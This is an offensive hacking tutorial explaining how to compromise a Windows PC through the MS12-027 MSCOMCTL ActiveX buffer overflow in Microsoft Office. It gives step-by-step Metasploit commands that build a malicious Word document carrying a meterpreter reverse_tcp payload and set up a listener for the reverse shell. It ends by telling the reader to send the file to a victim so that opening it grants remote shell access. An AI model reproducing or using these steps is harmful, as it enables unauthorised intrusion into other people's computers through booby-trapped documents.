Hack Remote Windows PC using Microsoft Office word MS12-027 MSCOMCTL ActiveX Buffer Overflow

This module exploits a stack buffer overflow in MSCOMCTL.OCX. It uses a malicious RTF to embed the specially crafted MSComctlLib.ListViewCtrl.2 Control as exploited in the wild on April 2012. This module targets Office 2007 and Office 2010 targets. The DEP/ASLR bypass on Office 2010 is done with the Ikazuchi ROP chain proposed by Abysssec. This chain uses “msgr3en.dll”, which will load after office got load, so the malicious file must be loaded through “File / Open” to achieve exploitation.

Exploit Targets

MS office 2007 on windows XP SP 2, 3

MS office 2010 on windows 7/SP1

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/ms12_027_mscomctl_bof
msf exploit (ms12_027_mscomctl_bof)>set payload windows/meterpreter/reverse_tcp
msf exploit (ms12_027_mscomctl_bof)>set lhost 192.168.1.3 (IP of Local Host)
msf exploit (ms12_027_mscomctl_bof)>exploit

After we successfully generate the malicious doc File, it will stored on your local computer

/root/.msf4/local/msf.doc

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.3

exploit

Now send your msf.doc files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.